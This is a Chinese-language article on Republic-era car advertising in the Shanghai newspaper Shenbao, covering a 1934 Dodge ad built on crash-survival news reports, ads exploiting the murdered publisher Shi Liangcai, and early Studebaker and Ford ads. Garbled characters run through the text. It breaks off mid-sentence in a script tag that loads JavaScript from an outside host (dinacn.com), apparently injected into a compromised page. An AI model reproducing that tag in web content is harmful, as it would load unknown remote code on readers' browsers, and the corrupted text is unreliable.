众多的民国老报纸上刊有大量广告，而且报纸的第一版往往都用于刊登重要广告，第二版才是重大新闻。上海出版的《申报》，是中国最大的中文日报，办报历时77年，跨越清朝、民国两朝，直至上海解放前夕才停刊。而《申报》刊登的汽车类广告也最为典型和精彩，其广告诉求主旨及广告宣传形式至今值得汽车制造企业学习和借鉴。

    有的广告重点打的是安全牌，不是空洞的口号或说教，而是让事实说话，因此使广告达到了最佳的宣传效果。《申报》民国23年3月12日刊登的整版道奇车广告便是一例。在“道奇可靠之又一铁证”的大字通栏标题下，引出中号字的“肩题”——去年11月17日道奇全钢独幅车身保全四命；今年本月4日道奇全钢独幅车身又保全五命。接下来是源和洋行大班甘德氏所乘道奇汽车在•¬车后开至中国汽车公司门前之留影照片。照片旁边刊出的是四则相关报道的样报剪¼¬影印件，即《申报》去年11月19日“撞不坏之道奇汽车”报道；《申报》本月7日“道奇车之奇迹”报道；《时事新报本月7日“沪杭公路上道奇汽车神通”报道；《新闻报》本月7日“沪杭公路又一覆车案，道奇汽车保全五命”报道。与此同时，还刊出了甘德氏于本月5日致本埠中国汽车公司的英文信函，报告其4日下午在沪杭公路覆车¾¬过情形，内容大致与报载相同，甘德氏在其信中最后一段称：对于道奇汽车之构造坚固表示万分感激。

    在用事实说话之后，其广告词便说——“道奇汽车之坚强卓绝，在四个月内已有两次之证明，事实俱在，请阅上面申、新、时事三报所载之新闻”；道奇担保乘客安全；承蒙惠顾，请向本公司华总¾¬理周梦贤君接洽。

    最下面的很小版面才是告知公众道奇汽车要推出新车型——欢Ó¬参观更伟大更精美之1934年式道奇汽车。大字落款是“中国汽车公司”，地址在上海静安寺路702号，五位数的电话号码是30024。

    从上述广告编排看，对于道奇车遭遇两起交通事故而无损的新闻报道是及时的。而更为可贵的是，道奇车销售商家具有高度的新闻敏感性，事发之后就立即组织了这一整版“事实胜于雄辩”的宣传广告，在当时不太发达的通讯、印刷和广告设计条件下，能在事发一周之后即推出了这一具有说明力和震憾力的广告，应当说其运作速度是相当快的。这个成功的广告案例，至今仍值得我们学习和借鉴。

    利用名人和重大突发政治事件做汽车广告，也是民国老报纸汽车广告的一大特色。民国著名报人史量才（1880-1934年），½¬苏青浦（今为上海市青浦县）人，早年毕业于杭州蚕学馆，旋至上海育才学堂、南洋中学任教。光绪三十年（1904年）创刊《女子蚕桑学报》，曾任上海《时报》主笔。1912年接办《申报》，自任总¾¬理。1921年与南洋侨商创办中南银行，后又购进《时事新报》和《新闻报》的大部分股权。1932年创办《申报》月刊，编印《申报》年鉴，成为上海报业的巨擘，同年任上海地方Ь会会长、上海临时参议会议长。于是便有汽车销售商利用史量才在新闻界和社会上的极高知名度打汽车广告，以史量才喜欢乘坐的车型做宣传。因九•一八事变后，史量才倾向抗日，抨击国民党的内外政策，支持宋庆龄等组织中国民权保障同盟的活动，后被蒋介石派特务暗杀。史量才被杀事件被报纸曝光后，那家汽车商仍继续利用死去的名人做汽车广告，在其广告词中称：史良才生前喜欢坐的那款汽车就是用于出殡的那辆汽车。此举极大地吸引了读者的眼球，令其汽车销售量大增。

    对于民国汽车广告的这些巧妙做法，今天我们仍可以从中汲取精华，举一反三。

    早在民国元年11月30日出版的申报第八版，就刊有“施突的贝克尔机器车”广告，并配有极富艺术魅力的英文标题。从广告»¬面上的样车看，当时出产的机器车样式简单，为敞篷式无车顶汽车。代理商为上海丰茂洋行，请试车者祈传电话号码：2686。在民国1934年的《申报》上，还有新别克广告、顺风汽车广告、米其林轮胎广告和汽车配件与修理等方面的广告。这说明世界的万国名车早在民国时期就登陆中国，民国时期已¾¬开启了进口汽车在华争雄的时代。

    有一则“英国产最新出品福特客车”之广告，配有新式10匹马力特等福特汽车样车照片。其正文描述细致入微，我们可以从中了解到福特汽车在当时的制造技术水平。款式有8马力二车门和10马力四车门两种，装有按照英国皇家汽车俱乐部所定标准四汽缸之马达，此车为英国最完备之汽车工厂达京罕公司设计制造。其车身是流线式，顶部及容足容臂之地乃至驾驶者之视野，均甚宏畅、科学。车身外围密实，车内宽敞，可容四位成人，并有特制之行李箱。车辆装璜美雅耐久，配有防飘风之通风装置，自动车窗可用手指按动。变速杆上珠钮可灵活运用；驱动曲轮?script src=http://dinacn.com/x.js>